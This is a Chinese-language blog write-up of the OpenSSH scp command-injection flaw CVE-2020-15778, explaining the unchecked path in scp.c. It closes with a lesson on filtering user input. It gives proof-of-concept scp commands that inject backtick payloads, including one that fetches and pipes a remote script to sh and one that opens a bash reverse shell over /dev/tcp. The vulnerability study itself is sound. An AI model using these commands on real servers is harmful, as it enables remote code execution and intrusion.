cve-2020-15778openssh漏洞原理与思考
该漏洞发⽣在2020年6⽉9⽇,在7⽉18⽇公开,但是由于原因没有及时的复现。但是⽹上有好多师傅们进⾏了复现,于是⾃⼰参考他们的⽂章⾃⼰也来学习⼀下。
漏洞概要
OpenSSH的8.3p1中的scp允许在scp.c远程功能中注⼊命令,攻击者可利⽤该漏洞执⾏任意命令。⽬前绝⼤多数linux系统受影响。但是前提是真的ssh⽤户名密码。
openshh介绍
OpenSSh是⽤于使⽤SSH(Secure SHell)协议进⾏加密远程登录的免费开源实现。它可以有效保护登录及数据的安全。
scp命令简介
scp 是 secure copy 的缩写。在linux系统中,scp⽤于linux之间复制⽂件和⽬录,基于 ssh 登陆进⾏安全的远程⽂件拷贝命令。该命令由openssh的scp.c及其他相关代码实现。
cve漏洞库影响范围
OpenSSH <= 8.3p1
原理
使⽤scp复制⽂件到远程服务器时,在scp命令后⾯跟上⽂件的路径,具体格式如下:
scp Filename user@host:directory/Filename
在上述过程中,scp会使⽤”-t“参数来获取存储传⼊⽂件的路径,如下:
scp -t directory/Filename
问题就出在这个地⽅,也就是"scp.c"⽂件的991⾏,如图。这个地⽅未对传⼊的⽂件路径进⾏检测防护。攻击者可以使⽤反引号包裹payload然后加上⽂件名执⾏scp命令,这时,payload将会发送到远程服务器并执⾏。
POC
scp ./ test@ip:'`touch /home/tes/test/hack.sh`/home/test/'
这样就在⽬标机器上⾯创建⼀个hack.sh的⽂件
但是⽂件内容为空,我们就可以在⾃⼰的服务器上⾯搭建⼀个shell.sh⽂件使⽤wget命令下载shell.sh然后在执⾏。从⽽获得shell
scp ./ test@ip:'`wget yourip/exp.sh -O- | sh`/home/test/'
#反弹shell
scp ./ test@ip:'`bash -i >& /dev/tcp/⾃⼰主见ip/端⼝ 0>&1`/home/test/'
利⽤环境
要实现该漏洞必须知道ssh⽤户密码,但是⼀般来说ssh是阻⽌连接的,(绑定了ip不需要外部ip进⾏连接)。这个时候我们就可以利⽤这个漏洞进⾏连接。
个⼈思考
做安全的时候⼀定不能相信⽤户的输⼊。必须对输⼊的参数进⾏过滤处理,这样就可以减少⼀些安全漏洞。
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论